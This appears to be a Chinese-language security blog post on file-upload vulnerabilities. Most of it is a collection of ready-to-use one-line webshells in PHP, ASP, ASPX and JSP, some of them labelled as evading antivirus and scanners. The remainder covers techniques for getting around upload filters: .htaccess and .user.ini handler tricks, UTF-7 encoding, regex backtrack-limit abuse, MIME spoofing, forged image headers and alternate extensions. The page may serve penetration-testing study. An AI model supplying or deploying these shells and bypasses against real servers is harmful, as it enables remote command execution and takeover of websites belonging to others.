关于文件上传
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
<?php @eval($_POST[cmd]);?>
一般长这个样子的都是一句话木马
ps:asp、php、jsp或者cgi等网页文件都可以做到相同效果
一句话木马大全:
##PHP:
<?php @eval($_POST['r00ts']);?>
<?php phpinfo();?>
<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>
<?php assert($_REQUEST[cmd]); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>
<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>
<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>
<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
<?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用
<?php usort(...$_GET);?> php环境>=5.6才能用
<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>
<script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话
<?php (])?> 上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的!
<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?>
加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!
<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%>
无防下载表,有防下载表可尝试插入以下语句突破的一句话
<%eval(request(“1″)):response.end%> 备份专用
##JSP:
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>
提交客户端
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>
##ASP
<%eval(Request.Item["r00ts"],”unsafe”);%>
<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%>
<%execute(request(“1″))%>
<scriptrunat=server>execute request(“1″)</script> 不用'<,>‘的asp一句话
##aspx
<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script>
<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>
<%eval request(chr(35))%> 不用双引号的一句话。
在上传文件时,爆出不允许上传的类型时可以先看看是在哪里检查的
1.在前端页面检查时
只需要bp发包就行,或者直接注释掉相关的前端代码
2.使用配置文件绕过对文件后缀的检查
例如 .htaccess
在里面写入
AddType application/x-httpd-php .l33t
这个意思是将.133t
后缀的文件用php去解析
上传.htccess生效需要在apache配置文件中写上
AllowOverride All
.htaccess内容审查绕过
使用
FilesMatch
<FilesMatch "abc"> SetHandler application/x-httpd-php </FilesMatch> # 文件名中包含有abc字符的都将作为php脚本执行
使用
AddType
AddType application/x-httpd-php .jpg #文件后缀为.jpg的都将作为php脚本执行
使用php_value设置php配置
自动包含文件
用途:文件包含,可以配合AddType来绕过限制上传木马php_value auto_prepend_file xxx.php php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx" #使作用范围内的php文件在文件头自动include指定文件,支持php伪协议 php_value include_path "xxx" #如果当前目录无法写文件,也可以改变包含文件的路径,去包含别的路径的文件 php_value auto_prepend_file ".htaccess" # <?php phpinfo();?> # 包含自身
利用报错信息写文件
* php_value error_reporting 32767 php_value error_log /tmp/error_shell.php # 开启报错的同时将报错信息写入文件 php_value display_errors 1 #显示错误信息
编码绕过尖括号过滤
php_value zend.multibyte 1 php_value zend.script_encoding "UTF-7" #将代码的解析方式改成UTF-7 #此时我们上传utf-7编码的php脚本,这样就没有了php特征,可以绕过检查
Prce绕过正则匹配
php_value pcre.backtrack_limit 0 php_value pcre.jit 0
如果正则类似
if(preg_match("/[^a-z\.]/", $filename) == 1)
而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)
,可以通过php_value
设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false
其他
.htaccess
可以使用\
将两行内容解释为一行绕过
exif_imagetype()
上传.htaccess
(在文件开头加上标识图片的宽和高)#define width 20 #define height 10 #这里写我们的规则 xxx xxx
.user.ini文件绕过
.user.ini文件中的auto_append_file和auto_prepend_file两个配置项指定的文件都会被当前目录的可执行的PHP文件所包含,类似与在执行当前目录的PHP文件前或后使用require()函数,包含配置项指定的文件。
在里面写入
auto_append_file=xxx.xxx
auto_prepend_file=xxx.xxx
就会包含相应的文件
3.MIME绕过
HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的,服务端可以检查此类型不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改,不过加上一层防护也是可以有一定效果的
直接修改content_type
MIME值 | 含义 |
---|---|
text/plain | 纯文本 |
text/html | HTML文档 |
text/javascript | js代码 |
application/xhtml+xml | XHTML文档 |
image/gif | GIF图像 |
image/jpeg | JPEG图像 |
image/png | PNG图像 |
video/mpeg | MPEG动画 |
application/octet-stream | 二进制数据 |
application/pdf | PDF文档 |
application/(编程语言) | 该种语言的代码 |
application/msword | Microsoft Word文件 |
message/rfc822 | RFC 822形式 |
multipart/alternative | HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示 |
application/x-www-form-urlencoded | POST方法提交的表单 |
multipart/form-data | POST提交时伴随文件上传的表单 |
4.对文件内容检查
在开头处加上相应的文件头
可以使用二进制编辑器来加上文件头
gif: 47 49 46 38 39 61 (文本的GIF89a)
jpg、jpeg : FF D8 FF
png : 89 50 4E 47 0D 0A
如果对文件内容的审查有相应的字符串
<?php phpinfo();?>
<?=phpinfo(); ?>
<script language=php>phpinfo();</script> //php7移除
<? phpinfo(); ?> //需要php.ini中short_open_tag=On
<% phpinfo(); %> //需要php.ini中asp_tags = On php7移除
5.黑名单过滤不完全
就拿PHP
的扩展名不只有.php
还有.php3
、.php5
、.phtml
等
6.图片二次渲染
主要就是看那里不变就改哪里
评论0
暂时没有评论